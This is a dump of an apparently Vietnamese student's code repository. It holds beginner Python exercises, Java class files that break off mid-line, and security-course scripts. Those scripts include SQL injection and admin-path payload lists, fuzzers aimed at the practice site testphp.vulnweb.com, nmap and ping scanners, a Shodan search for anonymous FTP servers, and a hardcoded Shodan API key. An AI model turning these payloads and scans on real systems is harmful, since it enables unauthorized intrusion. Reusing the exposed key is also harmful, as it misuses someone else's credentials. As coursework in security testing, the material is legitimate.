1 | def tomorrow(d, m, y): 2 | if(m == 4 or m == 6 or m == 9 or m == 11): 3 | dayOfMonth = 30 4 | elif(m == 2): 5 | dayOfMonth = 28 + int( ( y % 4 == 0 and y % 100 != 0 ) or y % 400 == 0) 6 | else: 7 | dayOfMonth = 31 8 | if(d + 1 <= dayOfMonth): 9 | dayOfTomorrow = d + 1 10 | monthOfTomorrow = m 11 | yearOfTomorrow = y 12 | elif(d + 1 > dayOfMonth and m != 12): 13 | dayOfTomorrow = 1 14 | monthOfTomorrow = m + 1 15 | yearOfTomorrow = y 16 | elif(d + 1 > dayOfMonth and m == 12): 17 | dayOfTomorrow = 1 18 | monthOfTomorrow = 1 19 | yearOfTomorrow = y + 1 20 | return str(dayOfTomorrow) + "/" + str(monthOfTomorrow) + "/" + str(yearOfTomorrow) 21 | 22 | def main(): 23 | d, m, y = map(lambda x: int(x), input("Nhap ngay, thang va nam: ").split()) 24 | print(f"Ngay mai: {tomorrow(d, m, y)}") 25 | 26 | 27 | if __name__ == "__main__": 28 | main() -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong1/bai15.py: -------------------------------------------------------------------------------- 1 | 2 | def main(): 3 | d, m, y = map(lambda x: int(x), input("Nhap ngay, thang va nam: ").split()) 4 | sum = int(30.42 * (m - 1)) + d 5 | if( ( ( ( y % 4 == 0 and y % 100 != 0 ) or y % 400 == 0 ) and m > 2 ) or m == 2): 6 | sum += 1 7 | if(m > 2 and m < 8): 8 | sum -= 1 9 | print(f"Ngay thu: {sum}") 10 | 11 | 12 | 13 | if __name__ == "__main__": 14 | main() -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong1/bai18.py: -------------------------------------------------------------------------------- 1 | def main(): 2 | t = int(input("Nhap so gio: ")) 3 | gio = t % 24 4 | ngay = (t // 24) % 7 5 | tuan = (t // 24) // 7 6 | print(f"{tuan} tuan, {ngay} ngay, {gio} gio") 7 | 8 | if __name__ == "__main__": 9 | main() -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong1/bai19.py: -------------------------------------------------------------------------------- 1 | import math 2 | 3 | def main(): 4 | gio1, phut1, giay1 = map(lambda x: int(x), input("Nhap gio, phut, giay [1]: ").split()) 5 | gio2, phut2, giay2 = map(lambda x: int(x), input("Nhap gio, phut, giay [2]: ").split()) 6 | 7 | if(gio1 > gio2 or (gio1 == gio2 and phut1 > phut2) or (gio1 == gio2 and phut1 == phut2 and giay1 > giay2) ): 8 | gio1, gio2 = gio2, gio1 9 | phut1, phut2 = phut2, phut1 10 | giay1, giay2 = giay2, giay1 11 | 12 | bienNho = 0 13 | if(giay2 >= giay1): 14 | giay = giay2 - giay1 15 | bienNho = 0 16 | else: 17 | giay = giay2 + 60 - giay1 18 | bienNho = 1 19 | if(phut2 >= phut1 + bienNho): 20 | phut = phut2 - (phut1 + bienNho) 21 | bienNho = 0 22 | else: 23 | phut = phut2 + 60 - (phut1 + bienNho) 24 | bienNho = 1 25 | gio = gio2 - (gio1 + bienNho) 26 | print(f"Hieu thoi gian: {gio} gio {phut} phut, {giay} giay") 27 | 28 | 29 | 30 | 31 | if __name__ == "__main__": 32 | main() -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong1/bai2.py: -------------------------------------------------------------------------------- 1 | import math 2 | 3 | def main(): 4 | xA, yA = map(lambda x: float(x), input("A(xA, yA)? ").split()) 5 | xB, yB = map(lambda x: float(x), input("B(xB, yB)? ").split()) 6 | result = math.sqrt((xB - xA) ** 2 + (yB - yA) ** 2) 7 | print(f"|AB| = {round(result, 4)}") 8 | 9 | if __name__ == "__main__": 10 | main() -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong1/bai20.py: -------------------------------------------------------------------------------- 1 | import math 2 | from sys import flags 3 | 4 | def main(): 5 | soDien = float(input("Nhap so kW tieu thu: ")) 6 | if(soDien >= 0 and soDien < 100): 7 | chiPhi = soDien * 500 8 | elif(soDien >= 100 and soDien < 250): 9 | chiPhi = 100 * 500 + (soDien - 100) * 800 10 | elif(soDien >= 250 and soDien < 350): 11 | chiPhi = 100 * 500 + 150 * 800 + (soDien - 250) * 1000 12 | elif(soDien >= 350): 13 | chiPhi = 100 * 500 + 150 * 800 + 100 * 1000 + (soDien - 350) * 1500 14 | 15 | print(f"Chi phi: {chiPhi}") 16 | 17 | 18 | 19 | if __name__ == "__main__": 20 | main() -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong1/bai21.py: -------------------------------------------------------------------------------- 1 | import math 2 | 3 | def main(): 4 | diemChuan = float(input("Nhap diem chuan: ")) 5 | diemToan, diemVan, diemAnh = map(lambda x: float(x), input("Nhap diem 3 mon thi(Toan, Van, Anh): ").split()) 6 | tongDiem = diemToan + diemVan + diemAnh 7 | khuVuc = input("Nhap khu vuc (A, B, C, X): ") 8 | if(khuVuc == "A"): 9 | tongDiem += 2 10 | elif(khuVuc == "B"): 11 | tongDiem += 1 12 | elif(khuVuc == "C"): 13 | tongDiem += 0.5 14 | doiTuong = input("Nhap doi tuong (1, 2, 3, 0): ") 15 | if(doiTuong == "1"): 16 | tongDiem += 2.5 17 | elif(doiTuong == "2"): 18 | tongDiem += 1.5 19 | elif(doiTuong == "3"): 20 | tongDiem += 1 21 | s = "DO" if tongDiem >= diemChuan else "ROT" 22 | print(f"{s} [{tongDiem}]") 23 | 24 | 25 | 26 | if __name__ == "__main__": 27 | main() -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong1/bai22.py: -------------------------------------------------------------------------------- 1 | import math 2 | 3 | def main(): 4 | n = int(input("Nhap n: ")) 5 | dem = 0 6 | tong = 0 7 | print("Cac uoc so: ", end="") 8 | for i in range(1, n+1): 9 | if (n % i == 0): 10 | print(i, end=", ") 11 | dem += 1 12 | tong += i 13 | print("") 14 | print(f"Co {dem} uoc so, tong la: {tong}") 15 | 16 | 17 | if __name__ == "__main__": 18 | main() -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong1/bai23.py: -------------------------------------------------------------------------------- 1 | import math 2 | 3 | def kiemTraHoanHao(n): 4 | tong = 0 5 | for i in range(1, int(n / 2) + 1): 6 | if (n % i) == 0: 7 | tong += i 8 | if tong == n: 9 | return True 10 | else: 11 | return False 12 | 13 | def main(): 14 | n = int(input("Nhap n: ")) 15 | print(f"Cac so hoan hao nho hon {n} la: ", end="") 16 | for i in range(6, n): 17 | if(kiemTraHoanHao(i) == True): 18 | print(i, end=" ") 19 | 20 | 21 | 22 | 23 | if __name__ == "__main__": 24 | main() -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong1/bai24.py: -------------------------------------------------------------------------------- 1 | from functools import reduce 2 | import math 3 | 4 | def main(): 5 | n = int(input("Nhap n: ")) 6 | print(f"{n} co {len(str(n))} chu so") 7 | print(f"Chu so cuoi cung la: { str(n)[ len(str(n)) - 1 ] }") 8 | print(f"Chu so dau tien la: { str(n)[ 0 ] }") 9 | 10 | print(f"Tong cac chu so la: { reduce(lambda x, y: int(x) + int(y), list( str(n) )) }" ) 11 | print(f"So dao nguoc la: { int( str(n)[::-1] ) }") 12 | 13 | if __name__ == "__main__": 14 | main() -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong1/bai25.py: -------------------------------------------------------------------------------- 1 | import math 2 | 3 | def uscln(a, b): 4 | if (b == 0): 5 | return a 6 | return uscln(b, a % b) 7 | 8 | def bscnn(a, b): 9 | return int((a * b) / uscln(a, b)) 10 | 11 | def main(): 12 | a, b = map(lambda x: int(x), input("Nhap cap (a, b): ").split()) 13 | print(f"USCLN (a, b): {uscln(a, b)}") 14 | print(f"BSCNN (a, b): {bscnn(a, b)}") 15 | 16 | 17 | 18 | if __name__ == "__main__": 19 | main() -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong1/bai26.py: -------------------------------------------------------------------------------- 1 | def uscln(a, b): 2 | if (b == 0): 3 | return a 4 | return uscln(b, a % b) 5 | 6 | def main(): 7 | a, b = map(lambda x: int(x), input("Nhap tu so, mau so: ").split()) 8 | c = uscln(a, b) 9 | if((a < 0 and b < 0) or (a >= 0 and b > 0)): 10 | if(abs(int(b / c)) == 1): 11 | print(f"Rut gon: {abs(int(a / c))}") 12 | return 13 | print(f"Rut gon: {abs(int(a / c))}/{abs(int(b / c))}") 14 | else: 15 | if(abs(int(b / c)) == 1): 16 | print(f"Rut gon: -{abs(int(a / c))}") 17 | return 18 | print(f"Rut gon: -{abs(int(b / c))}/{abs(int(b / c))}") 19 | 20 | if __name__ == "__main__": 21 | main() -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong1/bai27.py: -------------------------------------------------------------------------------- 1 | def phanTichSoNguyen(n): 2 | i = 2 3 | listNumbers = [] 4 | while (n > 1): 5 | if (n % i == 0): 6 | n = int(n / i) 7 | listNumbers.append(i) 8 | else: 9 | i = i + 1 10 | if (len(listNumbers) == 0): 11 | listNumbers.append(n) 12 | return listNumbers 13 | 14 | def main(): 15 | n = int(input("Nhap n: ")) 16 | listNumbers = phanTichSoNguyen(n) 17 | size = len(listNumbers) 18 | sb = "" 19 | for i in range(0, size - 1): 20 | sb = sb + str(listNumbers[i]) + " * " 21 | sb = sb + str(listNumbers[size-1]) 22 | print(sb) 23 | 24 | if __name__ == "__main__": 25 | main() -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong1/bai28.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hieujoyce/public-code/3e31103b89b0b9ebe1d5f589932dfd6e60b15a86/KyThuatLapTrinh/BaiTapChuong1/bai28.py -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong1/bai3.py: -------------------------------------------------------------------------------- 1 | import math 2 | 3 | def main(): 4 | xC, yC = map(lambda x: float(x), input("Nhap toa do tam C(xC, yC)? ").split()) 5 | r = float(input("Nhap ban kinh R? ")) 6 | xM, yM = map(lambda x: float(x), input("Nhap toa do M(xM, yM)? ").split()) 7 | 8 | d = math.sqrt((xC - xM) ** 2 + (yC - yM) ** 2) 9 | if(d < r): 10 | print("M nam trong C()") 11 | elif(d > r): 12 | print("M nam ngoai C()") 13 | else: 14 | print("M nam tren C()") 15 | 16 | if __name__ == "__main__": 17 | main() -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong1/bai4.py: -------------------------------------------------------------------------------- 1 | import math 2 | 3 | def checkDieuKien3CanhTG(a, b, c): 4 | if(a < 0 or b < 0 or c < 0): 5 | return False 6 | if(a + b <= c or a + c <= b or b + c <= a): 7 | return False 8 | return True 9 | 10 | def checkLoaiTG(a, b, c): 11 | if ((a == b) and (b == c)): 12 | return "Tam giac deu" 13 | elif ((a == b) or (a == c) or (b == c)): 14 | return "Tam giac can" 15 | elif ((a * a == b * b + c * c) or (b * b == a * a + c * c) or (c * c == a * a + b * b)): 16 | return "Tam giac vuong" 17 | elif ((a * a == b * b + c * c and b == c) or (b * b == a * a + c * c and a == c) or (c * c == a * a + b * b and b == c)): 18 | return "Tam giac vuong can" 19 | else: 20 | return "Tam giac thuong" 21 | 22 | def main(): 23 | a, b, c = map(lambda x: float(x), input("Nhap 3 canh tam giac: ").split()) 24 | 25 | while checkDieuKien3CanhTG(a, b, c) == False: 26 | print("3 canh tam giac khong hop le. Xin hay nhap lai") 27 | a, b, c = map(lambda x: float(x), input("Nhap 3 canh tam giac: ").split()) 28 | print(checkLoaiTG(a, b, c)) 29 | p = (a + b + c) / 2 30 | s = math.sqrt(p * (p - a) * (p - b) * (p - c)) 31 | print(f"Dien tich S = {s}") 32 | 33 | 34 | if __name__ == "__main__": 35 | main() -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong1/bai5.py: -------------------------------------------------------------------------------- 1 | import math 2 | 3 | def getArea(x1, y1, x2, y2, x3, y3): 4 | return (1 / 2) * abs(x1 * y2 - x2 * y1 + x2 * y3 - x3 * y2 + x3 * y1 - x1 * y3) 5 | 6 | def main(): 7 | xA, yA = map(lambda x: float(x), input("A(xA, yA)? ").split()) 8 | xB, yB = map(lambda x: float(x), input("B(xB, yB)? ").split()) 9 | xC, yC = map(lambda x: float(x), input("C(xC, yC)? ").split()) 10 | xM, yM = map(lambda x: float(x), input("M(xM, yM)? ").split()) 11 | 12 | areaABM = getArea(xA, yA, xB, yB, xM, yM) 13 | areaBCM = getArea(xB, yB, xC, yC, xM, yM) 14 | areaACM = getArea(xA, yA, xC, yC, xM, yM) 15 | areaABC = getArea(xA, yA, xB, yB, xC, yC) 16 | d = (areaABM + areaACM + areaBCM) - areaABC 17 | 18 | if (d > 0): 19 | print("M nam ngoai tam giac") 20 | elif (areaABM == 0 or areaACM == 0 or areaBCM == 0): 21 | print("M nam tren canh tam giac") 22 | else: 23 | print("M nam trong tam giac") 24 | 25 | 26 | if __name__ == "__main__": 27 | main() -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong1/bai6.py: -------------------------------------------------------------------------------- 1 | def main(): 2 | a, b, c = map(lambda x: float(x), input("Nhap a, b, c: ").split()) 3 | 4 | if(a > b): 5 | tmp = a 6 | a = b 7 | b = tmp 8 | if(a > c): 9 | tmp = a 10 | a = c 11 | c = tmp 12 | if(b > c): 13 | tmp = b 14 | b = c 15 | c = tmp 16 | print(f"Tang dan: {a} {b} {c}") 17 | 18 | if __name__ == "__main__": 19 | main() -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong1/bai7.py: -------------------------------------------------------------------------------- 1 | def main(): 2 | a, b = map(lambda x: float(x), input("Nhap a, b: ").split()) 3 | 4 | if a == 0: 5 | if b == 0: 6 | print("Vo so nghiem") 7 | else: 8 | print("Vo ngiem") 9 | else: 10 | print("x = ", -b / a) 11 | 12 | if __name__ == "__main__": 13 | main() 14 | 15 | -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong1/bai8.py: -------------------------------------------------------------------------------- 1 | import math 2 | 3 | def main(): 4 | a, b, c = map(lambda x: float(x), input("Nhap a, b, c: ").split()) 5 | if (a == 0): 6 | if (b == 0): 7 | print("Phuong trinh vo nghiem") 8 | else: 9 | print("x = ", + (-c / b)) 10 | return 11 | 12 | delta = b * b - 4 * a * c 13 | if (delta > 0): 14 | x1 = (-b + math.sqrt(delta)) / (2 * a) 15 | x2 = (-b - math.sqrt(delta)) / (2 * a) 16 | print(f"x1 = {x1}") 17 | print(f"x2 = {x2}") 18 | elif (delta == 0): 19 | x1 = (-b / (2 * a)) 20 | print("x1 = x2 = ", x1) 21 | else: 22 | print("Phuong trinh vo nghiem") 23 | 24 | if __name__ == "__main__": 25 | main() 26 | 27 | -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong1/bai9.py: -------------------------------------------------------------------------------- 1 | import math 2 | 3 | def main(): 4 | x = float(input("Nhap so do x cua goc (phut): ")) 5 | deg = x / 60 6 | print(f"x thuoc goc vuong thu {(int)(deg // 90) + 1}") 7 | print(f"cos(x) = {math.cos( deg * math.pi / 180 )}") 8 | 9 | 10 | if __name__ == "__main__": 11 | main() -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong2/Logins.txt: -------------------------------------------------------------------------------- 1 | admin.php 2 | login.htm 3 | login.html 4 | login/ 5 | login.php 6 | adm/ 7 | admin/ 8 | admin/account.html 9 | admin/login.html 10 | admin/login.htm 11 | admin/home.php 12 | admin/controlpanel.html 13 | admin/controlpanel.htm 14 | admin/cp.php 15 | admin/adminLogin.html 16 | admin/adminLogin.htm 17 | admin/admin_login.php 18 | admin/controlpanel.php 19 | admin/admin-login.php 20 | admin-login.php 21 | admin/account.php 22 | admin/admin.php 23 | admin.htm 24 | admin.html -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong2/MySQL.txt: -------------------------------------------------------------------------------- 1 | 1'1 2 | 1 exec sp_ (or exec xp_) 3 | 1 and 1=1 4 | 1' and 1=(select count(*) from tablenames); -- 5 | 1 or 1=1 6 | 1' or '1'='1 -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong2/__pycache__/nmapPortScanner.cpython-39.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hieujoyce/public-code/3e31103b89b0b9ebe1d5f589932dfd6e60b15a86/KyThuatLapTrinh/BaiTapChuong2/__pycache__/nmapPortScanner.cpython-39.pyc -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong2/basicShodanSearch.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import shodan 4 | import os 5 | 6 | SHODAN_API_KEY = "ptNfQMuGKFphM8Y7D8unwhhTZJCSlLJ8" 7 | # print(SHODAN_API_KEY) 8 | shodan = shodan.Shodan(SHODAN_API_KEY) 9 | 10 | try: 11 | resultados = shodan.search('nginx') 12 | print("results :",resultados.items()) 13 | except Exception as exception: 14 | print(str(exception)) -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong2/dnsResolver.py: -------------------------------------------------------------------------------- 1 | import dns.resolver 2 | 3 | hosts = ["oreilly.com", "yahoo.com", "google.com", "microsoft.com", "cnn.com"] 4 | 5 | for host in hosts: 6 | print(host) 7 | ip = dns.resolver.resolve(host, "NS") #thay A bằng NS, MX để có các record khác nhau 8 | for i in ip: 9 | print(i) -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong2/fuzzDBLoginPage.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | logins = [] 4 | 5 | # open file and read the content in a list 6 | with open('Logins.txt', 'r') as filehandle: 7 | for line in filehandle: 8 | login = line[:-1] 9 | logins.append(login) 10 | 11 | domain = "http://testphp.vulnweb.com/" #"http://testphp.vulnweb.com" 12 | 13 | for login in logins: 14 | print("Checking... "+ domain + login) 15 | response = requests.get(domain + login) 16 | if response.status_code == 200: 17 | print("Login resource detected: " +login) -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong2/fuzzDBSqlInjection.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | domain = "http://testphp.vulnweb.com/listproducts.php?cat=" 4 | 5 | mysql_attacks = [] 6 | 7 | # open file and read the content in a list 8 | with open('MySQL.txt', 'r') as filehandle: 9 | for line in filehandle: 10 | attack = line[:-1] 11 | mysql_attacks.append(attack) 12 | 13 | for attack in mysql_attacks: 14 | print("Testing... "+ domain + attack) 15 | response = requests.get(domain + attack) 16 | if "mysql" in response.text.lower(): 17 | print("Injectable MySQL detected") 18 | print("Attack string: "+attack) -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong2/fuzzdbXss.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import sys 3 | from bs4 import BeautifulSoup, SoupStrainer 4 | 5 | xsspayloads = [] 6 | 7 | with open('XSS-attack-vectors.txt', 'r') as filehandle: 8 | for line in filehandle: 9 | xsspayload = line[:-1] 10 | xsspayloads.append(xsspayload) 11 | 12 | #print(xsspayloads) 13 | 14 | url = 'http://testphp.vulnweb.com/search.php?test=query' 15 | 16 | data = {} 17 | response = requests.get(url) 18 | 19 | for payload in xsspayloads: 20 | for field in BeautifulSoup(response.text,"html.parser",parse_only=SoupStrainer('input')): 21 | print(field) 22 | if field.has_attr('name'): 23 | if field['name'].lower() == "submit": 24 | data[field['name']] = "submit" 25 | else: 26 | data[field['name']] = payload 27 | response = requests.post(url, data=data) 28 | if payload in response.text: 29 | print("Payload "+ payload +" returned in the response") -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong2/getHeadersResponseRequest.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import urllib.request 4 | from urllib.request import Request 5 | 6 | # url="http://python.org" 7 | url="http://www.actvn.edu.vn" 8 | USER_AGENT = 'Mozilla/5.0 (Linux; Android 10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.101 Mobile Safari/537.36' 9 | 10 | def chrome_user_agent(): 11 | opener = urllib.request.build_opener() 12 | opener.addheaders = [('User-agent', USER_AGENT)] 13 | urllib.request.install_opener(opener) 14 | response = urllib.request.urlopen(url) 15 | print("Response headers") 16 | print("--------------------") 17 | for header,value in response.getheaders(): 18 | print(header + ":" + value) 19 | 20 | request = Request(url) 21 | request.add_header('User-agent', USER_AGENT) 22 | print("\nRequest headers") 23 | print("--------------------") 24 | for header,value in request.header_items(): 25 | print(header + ":" + value) 26 | 27 | if __name__ == '__main__': 28 | chrome_user_agent() -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong2/ip.txt: -------------------------------------------------------------------------------- 1 | 8.8.8.8 -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong2/nmapPortScanner.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import nmap 4 | 5 | portScanner = nmap.PortScanner() 6 | 7 | host_scan = input('Host scan: ') 8 | 9 | portlist="21,22,23,25,80" 10 | portScanner.scan(hosts=host_scan, arguments='-n -p'+portlist) 11 | 12 | print(portScanner.command_line()) 13 | 14 | hosts_list = [(x, portScanner[x]['status']['state']) for x in portScanner.all_hosts()] 15 | for host, status in hosts_list: 16 | print(host, status) 17 | 18 | for protocol in portScanner[host].all_protocols(): 19 | print('Protocol : %s' % protocol) 20 | listport = portScanner[host]['tcp'].keys() 21 | for port in listport: 22 | print('Port : %s State : %s' % (port,portScanner[host][protocol][port]['state'])) 23 | 24 | -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong2/nmapScanner.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import optparse 4 | import nmap 5 | 6 | class NmapScanner: 7 | 8 | def __init__(self): 9 | self.portScanner = nmap.PortScanner() 10 | 11 | def nmapScan(self, ip_address, port): 12 | self.portScanner.scan(ip_address, port) 13 | self.state = self.portScanner[ip_address]['tcp'][int(port)]['state'] 14 | print(" [+] Executing command: ", self.portScanner.command_line()) 15 | print(" [+] "+ ip_address + " tcp/" + port + " " + self.state) 16 | 17 | def main(): 18 | parser = optparse.OptionParser("usage%prog " + "--ip_address --ports ") 19 | parser.add_option('--ip_address', dest = 'ip_address', type = 'string', help = 'Please, specify the target ip address.') 20 | parser.add_option('--ports', dest = 'ports', type = 'string', help = 'Please, specify the target port(s) separated by comma.') 21 | (options, args) = parser.parse_args() 22 | if (options.ip_address == None) | (options.ports == None): 23 | print('[-] You must specify a target ip_address and a target port(s).') 24 | exit(0) 25 | ip_address = options.ip_address 26 | ports = options.ports.split(',') 27 | 28 | for port in ports: 29 | NmapScanner().nmapScan(ip_address, port) 30 | 31 | if __name__ == "__main__": 32 | main() -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong2/request.py: -------------------------------------------------------------------------------- 1 | import requests 2 | r = requests.post('https://jsonplaceholder.typicode.com/posts', data={'title': 'foo', 'body': 'bar', 'userId': 1}) 3 | print(r) 4 | print(r.json()) -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong2/shodanInfoHost.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import requests 4 | import os 5 | 6 | SHODAN_API_KEY = "ptNfQMuGKFphM8Y7D8unwhhTZJCSlLJ8" #os.environ['ptNfQMuGKFphM8Y7D8unwhhTZJCSlLJ8'] 7 | ip = '1.1.1.1' 8 | 9 | def ShodanInfo(ip): 10 | try: 11 | result = requests.get(f"https://api.shodan.io/shodan/host/{ip}?key={SHODAN_API_KEY}&minify=True").json() 12 | except Exception as exception: 13 | result = {"error":"Information not available"} 14 | return result 15 | 16 | print(ShodanInfo(ip)) 17 | 18 | # https://api.shodan.io/shodan/host/{ip}?key=ptNfQMuGKFphM8Y7D8unwhhTZJCSlLJ8 -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong2/shodanSearchFTPVulnerable.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import shodan 4 | import re 5 | import os 6 | 7 | servers = [] 8 | shodanKeyString = "ptNfQMuGKFphM8Y7D8unwhhTZJCSlLJ8" 9 | shodanApi = shodan.Shodan(shodanKeyString) 10 | 11 | results = shodanApi.search("port: 21 Anonymous user logged in") 12 | print("hosts number: " + str(len( results['matches']))) 13 | for result in results['matches']: 14 | if result['ip_str'] is not None: 15 | servers.append(result['ip_str']) 16 | 17 | for server in servers: 18 | print(server) -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong2/sql-attack-vector.txt: -------------------------------------------------------------------------------- 1 | " or "a"="a 2 | " or "x"="x 3 | " or 0=0 # 4 | " or 0=0 -- 5 | " or 1=1 or ""=" 6 | " or 1=1-- 7 | "' or 1 --'" 8 | ") or ("a"="a 9 | ' 10 | ' (select top 1 11 | ' -- 12 | ' ; 13 | ' UNION ALL SELECT 14 | ' UNION SELECT 15 | ' or ''=' 16 | ' or '1'='1 17 | ' or '1'='1'-- 18 | ' or 'x'='x 19 | ' or (EXISTS) 20 | ' or 0=0 # 21 | ' or 0=0 -- 22 | ' or 1 in (@@version)-- 23 | ' or 1=1 or ''=' 24 | ' or 1=1-- 25 | ' or a=a-- 26 | ' or uid like '% 27 | ' or uname like '% 28 | ' or user like '% 29 | ' or userid like '% 30 | ' or username like '% 31 | 0 or 1=1 32 | 1 or 1 in (@@version)-- 33 | 1 or 1=1-- 34 | or 1=1-- -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong2/tcpServer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import socket 4 | import threading 5 | 6 | SERVER_IP = "127.0.0.1" 7 | SERVER_PORT = 9998 8 | 9 | # family = Internet, type = stream socket means TCP 10 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 11 | 12 | server.bind((SERVER_IP,SERVER_PORT)) 13 | 14 | server.listen(5) 15 | 16 | print("[*] Server Listening on %s:%d" % (SERVER_IP,SERVER_PORT)) 17 | 18 | client,addr = server.accept() 19 | 20 | client.send("I am the server accepting connections...".encode()) 21 | 22 | print("[*] Accepted connection from: %s:%d" % (addr[0],addr[1])) 23 | 24 | def handle_client(client_socket): 25 | request = client_socket.recv(1024) 26 | print("[*] Received request : %s from client %s" , request, client_socket.getpeername()) 27 | client_socket.send(bytes("ACK","utf-8")) 28 | 29 | while True: 30 | handle_client(client) 31 | 32 | client_socket.close() 33 | server.close() -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong2/test.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import subprocess 4 | 5 | def scan(base, ceiling): 6 | base_suff = int(base.split('.')[-1]) 7 | for i in range(base_suff, ceiling+1): 8 | hostname = '.'.join(base.split('.')[:-1] + [str(i),]) 9 | try: 10 | with open('/dev/null') as f: 11 | response = subprocess.check_call(['ping', '-c1', '-W2',hostname], stdout=f) 12 | except subprocess.CalledProcessError: 13 | print(hostname + ': ', 'DOWN') 14 | else: 15 | print(hostname + ': ', 'UP') 16 | def main(): 17 | base = sys.argv[1] 18 | ceiling = int(sys.argv[2]) 19 | scan(base, ceiling) 20 | if __name__ == "__main__": 21 | main() -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong2/testing_url_sql_injection.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | url = "http://testphp.vulnweb.com/listproducts.php?cat=" 4 | 5 | sql_payloads = [] 6 | 7 | with open('sql-attack-vector.txt', 'r') as filehandle: 8 | for line in filehandle: 9 | sql_payload = line[:-1] 10 | sql_payloads.append(sql_payload) 11 | 12 | for payload in sql_payloads: 13 | print ("Testing "+ url + payload) 14 | response = requests.post(url+payload) 15 | 16 | if "mysql" in response.text.lower(): 17 | print("Injectable MySQL detected,attack string: "+payload) 18 | elif "native client" in response.text.lower(): 19 | print("Injectable MSSQL detected,attack string: "+payload) 20 | elif "syntax error" in response.text.lower(): 21 | print("Injectable PostGRES detected,attack string: "+payload) 22 | elif "ORA" in response.text.lower(): 23 | print("Injectable Oracle database detected,attack string: "+payload) 24 | else: 25 | print("Payload ",payload," not injectable") -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong2/vulnbanners.txt: -------------------------------------------------------------------------------- 1 | SSH-2.0- OpenSSH_4.7p1 Debian-Bubuntu1 2 | 220 ProFTPD 1.3.1 Server (Debian) 3 | Apache2.2.2 CVE-2017-7679 4 | Apache2.3.20 CVE-2016-4438 5 | Apache2.3.18 CVE-2016-4979 6 | Microsoft-IIS/10.0 7 | www.python.org -------------------------------------------------------------------------------- /LapTrinhHDT/De1MienNam/DiaChi.java: -------------------------------------------------------------------------------- 1 | package de1MienNam; 2 | 3 | import java.util.Scanner; 4 | 5 | public class DiaChi { 6 | Scanner sc = new Scanner(System.in); 7 | String to; 8 | String phuong; 9 | String quan; 10 | String thanhPho; 11 | 12 | public void nhap() { 13 | System.out.println("-> Dia chi"); 14 | System.out.printf("Nhap To: "); 15 | this.to = sc.nextLine(); 16 | System.out.printf("Nhap Phuong: "); 17 | this.phuong = sc.nextLine(); 18 | System.out.printf("Nhap Quan: "); 19 | this.quan = sc.nextLine(); 20 | System.out.printf("Nhap Thanh Pho: "); 21 | this.thanhPho = sc.nextLine(); 22 | } 23 | 24 | public String info() { 25 | return "DiaChi: To " + this.to + ", Phuong: " + this.phuong + ", Quan: " + this.quan + ", Thanh Pho: " + this.thanhPho; 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /LapTrinhHDT/De1MienNam/HoaDon.java: -------------------------------------------------------------------------------- 1 | package de1MienNam; 2 | 3 | import java.util.ArrayList; 4 | 5 | public class HoaDon { 6 | KhachHang kh; 7 | ArrayList listHDTungSP = new ArrayList<>(); 8 | 9 | public void add(SanPham maSP, int soLuongMua) { 10 | HoaDonTungSP a = new 